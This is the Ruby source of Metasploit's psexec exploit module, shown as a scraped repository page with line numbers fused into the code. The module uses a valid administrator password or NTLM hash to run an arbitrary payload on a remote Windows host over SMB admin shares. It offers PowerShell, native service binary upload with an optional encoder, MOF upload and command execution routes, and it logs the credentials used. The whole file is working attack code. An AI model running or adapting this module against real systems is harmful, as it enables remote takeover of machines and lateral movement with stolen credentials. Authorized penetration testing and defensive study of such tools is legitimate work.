Path: blob/master/modules/exploits/windows/smb/psexec.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45# Windows XP systems that are not part of a domain default to treating all6# network logons as if they were Guest. This prevents SMB relay attacks from7# gaining administrative access to these systems. This setting can be found8# under:9#10# Local Security Settings >11# Local Policies >12# Security Options >13# Network Access: Sharing and security model for local accounts1415class MetasploitModule < Msf::Exploit::Remote16Rank = ManualRanking1718include Msf::Exploit::Remote::SMB::Client::Psexec19include Msf::Exploit::Powershell20include Msf::Exploit::EXE21include Msf::Exploit::WbemExec22include Msf::Auxiliary::Report23include Msf::OptionalSession::SMB2425def initialize(info = {})26super(27update_info(28info,29'Name' => 'Microsoft Windows Authenticated User Code Execution',30'Description' => %q{31This module uses a valid administrator username and password (or32password hash) to execute an arbitrary payload. This module is similar33to the "psexec" utility provided by SysInternals. This module is now able34to clean up after itself. The service created by this tool uses a randomly35chosen name and description.36},37'Author' => [38'hdm',39'Royce Davis <rdavis[at]accuvant.com>', # (@R3dy__) PSExec command module40'RageLtMan <rageltman[at]sempervictus>' # PSH exploit, libs, encoders41],42'License' => MSF_LICENSE,43'Privileged' => true,44'DefaultOptions' => {45'WfsDelay' => 10,46'EXITFUNC' => 'thread'47},48'References' => [49[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)50[ 'OSVDB', '3106'],51[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ],52[ 'URL', 'https://www.optiv.com/blog/owning-computers-without-shell-access' ],53[ 'URL', 'http://sourceforge.net/projects/smbexec/' ],54[ 'ATT&CK', Mitre::Attack::Technique::T1021_002_SMB_WINDOWS_ADMIN_SHARES ],55[ 'ATT&CK', Mitre::Attack::Technique::T1569_002_SERVICE_EXECUTION ],56[ 'ATT&CK', Mitre::Attack::Technique::T1059_COMMAND_AND_SCRIPTING_INTERPRETER ],57[ 'ATT&CK', Mitre::Attack::Technique::T1059_001_POWERSHELL ],58[ 'ATT&CK', Mitre::Attack::Technique::T1059_003_WINDOWS_COMMAND_SHELL ],59[ 'ATT&CK', Mitre::Attack::Technique::T1077_WINDOWS_ADMIN_SHARES ],60[ 'ATT&CK', Mitre::Attack::Technique::T1078_VALID_ACCOUNTS ],61[ 'ATT&CK', Mitre::Attack::Technique::T1105_INGRESS_TOOL_TRANSFER ]62],63'Payload' => {64'Space' => 3072,65'DisableNops' => true66},67'Platform' => 'win',68'Targets' => [69[ 'Automatic', { 'Arch' => [ARCH_X86, ARCH_X64] } ],70[ 'PowerShell', { 'Arch' => [ARCH_X86, ARCH_X64] } ],71[ 'Native upload', { 'Arch' => [ARCH_X86, ARCH_X64] } ],72[ 'MOF upload', { 'Arch' => [ARCH_X86, ARCH_X64] } ],73[ 'Command', { 'Arch' => [ARCH_CMD], 'Payload' => { 'Space' => 8191 } } ]74],75'DefaultTarget' => 0,76# For the CVE, PsExec was first released around February or March 200177'DisclosureDate' => '1999-01-01',78'Notes' => {79'Reliability' => UNKNOWN_RELIABILITY,80'Stability' => UNKNOWN_STABILITY,81'SideEffects' => UNKNOWN_SIDE_EFFECTS82}83)84)8586register_options(87[88OptString.new('SMBSHARE', [false, "The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", ''], aliases: ['SHARE'])89]90)9192register_advanced_options(93[94OptBool.new('ALLOW_GUEST', [true, 'Keep trying if only given guest access', false]),95OptString.new('SERVICE_FILENAME', [false, 'Filename to to be used on target for the service binary', nil]),96OptString.new('PSH_PATH', [false, 'Path to powershell.exe', 'Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe']),97OptString.new('SERVICE_STUB_ENCODER', [false, 'Encoder to use around the service registering stub', nil])98]99)100end101102def native_upload_with_workaround(smbshare)103service_filename = datastore['SERVICE_FILENAME'] || "#{rand_text_alpha(8)}.exe"104service_encoder = datastore['SERVICE_STUB_ENCODER'] || ''105106# Avoid implementing NTLMSSP on Windows XP107# https://seclists.org/metasploit/2009/q1/6108if smb_peer_os == "Windows 5.1"109connect(versions: [1])110smb_login111end112native_upload(smbshare, service_filename, service_encoder)113end114115def validate_service_stub_encoder!116service_encoder = datastore['SERVICE_STUB_ENCODER']117return if service_encoder.nil? || service_encoder.empty?118119encoder = framework.encoders[service_encoder]120if encoder.nil?121raise Msf::OptionValidateError.new(122{123'SERVICE_STUB_ENCODER' => "Failed to find encoder #{service_encoder.inspect}"124}125)126end127end128129def exploit130validate_service_stub_encoder!131132# automatically select an SMB share unless one is explicitly specified133if datastore['SMBSHARE'] && !datastore['SMBSHARE'].blank?134smbshare = datastore['SMBSHARE']135elsif target.name == 'Command'136smbshare = 'C$'137else138smbshare = 'ADMIN$'139end140141create_simple_smb_client!142143case target.name144when 'Automatic'145if powershell_installed?(smbshare, datastore['PSH_PATH'])146print_status('Selecting PowerShell target')147execute_powershell_payload148else149print_status('Selecting native target')150native_upload_with_workaround(smbshare)151end152when 'PowerShell'153execute_powershell_payload154when 'Native upload'155native_upload_with_workaround(smbshare)156when 'MOF upload'157mof_upload(smbshare)158when 'Command'159execute_command_payload(smbshare)160end161162handler163disconnect164end165166def report_auth167service_data = {168address: ::Rex::Socket.getaddress(datastore['RHOST'], true),169port: datastore['RPORT'],170service_name: 'smb',171protocol: 'tcp',172workspace_id: myworkspace_id173}174175credential_data = {176origin_type: :service,177module_fullname: self.fullname,178private_data: datastore['SMBPass'],179username: datastore['SMBUser'].downcase180}181182if datastore['SMBDomain'] and datastore['SMBDomain'] != 'WORKGROUP'183credential_data.merge!({184realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,185realm_value: datastore['SMBDomain']186})187end188189if datastore['SMBPass'] =~ /[0-9a-fA-F]{32}:[0-9a-fA-F]{32}/190credential_data.merge!({ :private_type => :ntlm_hash })191else192credential_data.merge!({ :private_type => :password })193end194195credential_data.merge!(service_data)196197credential_core = create_credential(credential_data)198199login_data = {200access_level: 'Admin',201core: credential_core,202last_attempted_at: DateTime.now,203status: Metasploit::Model::Login::Status::SUCCESSFUL204}205206login_data.merge!(service_data)207create_credential_login(login_data)208end209210def create_simple_smb_client!211if session212print_status("Using existing session #{session.sid}")213self.simple = session.simple_client214else215print_status('Connecting to the server...')216connect217218print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...")219smb_login220221if !simple.client.auth_user && !datastore['ALLOW_GUEST']222print_line223print_error(224'FAILED! The remote host has only provided us with Guest privileges. ' \225'Please make sure that the correct username and password have been provided. ' \226'Windows XP systems that are not part of a domain will only provide Guest privileges ' \227'to network logins by default.'228)229print_line230disconnect231return232end233234unless datastore['SMBUser'].to_s.strip.empty?235report_auth236end237238end239end240end241242243